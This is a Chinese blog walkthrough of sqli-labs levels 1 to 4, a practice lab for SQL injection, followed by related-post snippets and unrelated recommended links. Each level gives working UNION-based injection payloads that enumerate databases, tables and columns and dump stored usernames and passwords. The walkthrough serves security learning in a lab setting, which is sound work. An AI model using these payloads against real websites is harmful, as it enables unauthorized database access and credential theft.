Less_1

查库:select schema_name from information_schema.schemata

查表:select table_name from information_schema.tables where table_schema=’表名’

查列:select column_name from information_schema.columns where table_name='用户名'

查字段:select id,username,password from security.users

Less1,查看是否有注入,使用单双引号包裹‘’

单引号报错,即存在注入漏洞

Limit 0,1 其中第一位是从第几个开始,比如0代表从第一个开始,而第二位的1代表的就是显示多少个数据

SELECT * FROM users WHERE id='1'or 1=1-- ' LIMIT 0,1

其中--+ 或者-- 或者#都是sqli语句,输入它,其后面的语句不在执行;

A and B     AB 都为true则返回值为true

A or B      AB 其中一个为true则返回值为true;

Order by查看有多少列

对其中的列进行排序,若超过列数则报错。

采用二分法进行参检:

可以看到3不报错,4报错,则只有三列。

判断页面有几个显示位,使用union select语句

句子里并没有任何回显信息,所以将前面数据 注释掉,

使用limit0,1、limit1,1、 limit2,1获得数据库信息

?id=-1' union select 1,2,schema_name from information_schema.schemata limit 0,1--+

?id=-1' union select 1,2,schema_name from information_schema.schemata limit 1,1--+

?id=-1' union select 1,2,schema_name from information_schema.schemata limit 2,1--+

还有第二种方法能够快速获得数据库信息:

使用group_concat函数(将所有数据进行拼接显示在一行)

?id=-1' union select 1,2, group_concat(schema_name)from information_schema.schemata limit 0,1--+

使用?id=-1' union select 1,2, group_concat(table_name)from information_schema.tables where table_schema='security'--+获得security数据库中表的信息

使用单引号容易出现错误,我们使用十六进制:(在security前面加0x,选中security在选择encoding,然后点击hex encoding即可)

?id=-1' union select 1,2, group_concat(table_name)from information_schema.tables where table_schema=0x7365637572697479--+

使用concat_ws(‘~’,A,B)可以即显示数据库名称,也可以显示数据库密码:

?id=-1' union select 1,2,group_concat(concat_ws('~',username,password))from security.users--+可以查看所有数据名称以及密码

concat_ws('~',username,password)引号容易出错,需要换成十六进制:

Less_01总结:

Less_2

Less2无包裹;

使用单引号存在注入漏洞:?id=1'

less2与less1区别为没有单引号包裹,其他步骤相同;

查看哪些数据可以回显:?id=-1 union select 1,2,3--+

注释还可以使用负数,不止负号,还可以使用超过数据库的数:?id=1231 union select 1,2,3--+

查看所有数据库?id=1231 union select 1,2,group_concat(schema_name) from information_schema.schemata--+

查看所有表:?id=1231 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479--+

查看所有列信息:?id=1231 union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273--+

查看所有数据对应的名称以及密码:?id=1231 union select 1,2,group_concat(concat_ws(0x7e,username,password)) from security .users--+

Less_2总结:

Less-3

 

Less_3使用(1)包裹,其他步骤与less1和less2相同;

查看有多少列:?id=1') order by 3--+

查看多少数据库名称?id=-1')union select 1,2,group_concat(schema_name)from information_schema.schemata --+

查看所有表:id=-1')union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+

查看所有列的信息:?id=-1')union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+

查看所有数据库名称及以及密码:?id=-1') union select 1,2,group_concat(concat('~',username,password)) from security.users--+

Less_4

Less_4使用(1)包裹,其他步骤与less1、less2、less3相同;

查看所有数据库:?id=-1”) union select 1,2,group_concat(schema_name)from information_schema.schemata --+

查看所有表:?id=-1”) union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+

查看所有列信息:?id=-1”) union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+

查看所有数据库名称以及密码:?id=-1") union select 1,2,group_concat(concat('~',username,password)) from security.users--+

less4总结:

SQL注入--sqli-labs(1-4关)的更多相关文章

  1. SQL注入之Sqli-labs系列第一关

    在开始接触渗透测试开始,最初玩的最多的就是Sql注入,注入神器阿D.明小子.穿山甲等一切工具风靡至今.当初都是以日站为乐趣,从安全法实施后在没有任何授权的情况下,要想练手只能本地环境进行练手,对于sq ...

  2. SQL注入之Sqli-labs系列第四十一关(基于堆叠注入的盲注)和四十二关四十三关四十四关四十五关

    0x1普通测试方式 (1)输入and1=1和and1=2测试,返回错误,证明存在注入 (2)union select联合查询 (3)查询表名 (4)其他 payload: ,( ,( 0x2 堆叠注入 ...

  3. SQL注入之Sqli-labs系列第九关和第十关(基于时间盲注的注入)

    开始挑战第九关(Blind- Time based- Single Quotes- String)和第十关( Blind- Time based- Double Quotes- String) gog ...

  4. SQL注入之Sqli-labs系列第二关

    废话不在多说  let's go!   继续挑战第二关(Error Based- Intiger) 同样的前奏,就不截图了 ,and 1=1和and 1=2进行测试,出现报错 还原sql语句 查看源代 ...

  5. sqli-labs(八)——修改密码处sql注入+http头sql注入

    第17关: 这是一个重置密码的功能存在sqk注入,尝试账号密码都输入'",发现只会显示登陆失败,没有报错信息. 这个时候先推测一下后台的sql形式大概应该是: update users se ...

  6. 网页闯关游戏(riddle webgame)--SQL注入的潘多拉魔盒

    前言: 之前编写了一个网页闯关游戏(类似Riddle Game), 除了希望大家能够体验一下我的游戏外. 也愿意分享编写这个网页游戏过程中, 学到的一些知识. web开发初学者往往会忽视一些常见的漏洞 ...

  7. SQL注入之Sqli-labs系列第四十六关(ORDER BY注入)

    0X1查看页面 0x2源码 <?php include("../sql-connections/sql-connect.php"); $id=$_GET['sort']; i ...

  8. SQL注入之Sqli-labs系列第三十八关、第三十九关,第四十关(堆叠注入)

    0x1 堆叠注入讲解 (1)前言 国内有的称为堆查询注入,也有称之为堆叠注入.个人认为称之为堆叠注入更为准确.堆叠注入为攻击者提供了很多的攻击手段,通过添加一个新 的查询或者终止查询,可以达到修改数据 ...

  9. SQL注入之Sqli-labs系列第二十四关(二阶注入)

    开始挑战第二十四关(Second Degree Injections) 0x1 前言 SQL注入一般分为两类:一阶SQL注入(普通SQL注入),二阶SQL注入 .二次注入不是注入两次的意思,请不要混淆 ...

  10. Sqli labs系列-less-5&6 报错注入法(上)

    在我一系列常规的测试后发现,第五关和第六关,是属于报错注入的关卡,两关的区别是一个是单引号一个是双引号...当然我是看了源码的.... 基于报错注入的方法,我早就忘的差不多了,,,我记的我最后一次基于 ...

随机推荐

  1. 根据CPU内核创建多进程

    from multiprocessing import Pool import psutil cpu_count = psutil.cpu_count(logical=False) #1代表单核CPU ...

  2. Exception in thread "http-apr-8080-exec-1" java.lang.StackOverflowError

    Exception in thread "http-apr-8080-exec-1" java.lang.StackOverflowError 可能执行了递归,陷入了死循环 如下我 ...

  3. 怎么编写API和或者自己不属于知识小案例demo程序

    再使用一个函数,进行测试的调用,然后进行调用这样就不需要再为makefile什么,还有就是改什么鬼东西烦恼了. 然后把需要的功能进行分解就行了.

  4. [Codechef TASTR] Level of Difference - 后缀数组,容斥原理

    [Codechef TASTR] Level of Difference Description 给定两个字符串,求恰好在一个字符串中出现过的本质不同的子串数量. Solution 设 \(U(S)\ ...

  5. Pyarm的Pyqt的配置

    相关连接: Python PyQt 安装python3.4 x64到c盘根目录. 安装PyQt5-5.5.1-gpl-Py3.4-Qt5.5.1-x64.exe 安装pycharm-professio ...

  6. 随缘记录 LeetCode第168场周赛 2019-12-22

    5292. 划分数组为连续数字的集合 给你一个整数数组 nums 和一个正整数 k,请你判断是否可以把这个数组划分成一些由 k 个连续数字组成的集合. 如果可以,请返回 True:否则,返回 Fals ...

  7. 阿里云 Linux 挂在硬盘 翻了几篇这个最好

    原文 :https://www.jianshu.com/p/fa587bbfbb60 阿里云数据盘挂载完整过程 阿里云挂载云盘第一步 在阿里云管理员后台,云盘管理中心挂载好云盘在哪个服务器上面. 登录 ...

  8. Java之字符串输入next()与nextLine()

            next():一定要读取到有效字符后才可以结束输入,对输入有效字符之前遇到的空格键.Tab键或Enter键等结束符,next()方法会自动将其去掉: 只有在输入有效字符之后,next( ...

  9. Java-POJ1010-STAMP

    说良心话,题目不难,但是题目真的很不好懂,解读一下吧 题意: 读入分两行,第一行为邮票面额(面额相同也视为种类不同)以0结束,第二行为顾客要求的面额,以0结束 要求:每个顾客最多拿4张邮票,并求最优解 ...

  10. NOIP2012 疫情控制 题解(LuoguP1084)

    NOIP2012 疫情控制 题解(LuoguP1084) 不难发现,如果一个点向上移动一定能控制更多的点,所以可以二分时间,判断是否可行. 但根节点不能不能控制,存在以当前时间可以走到根节点的点,可使 ...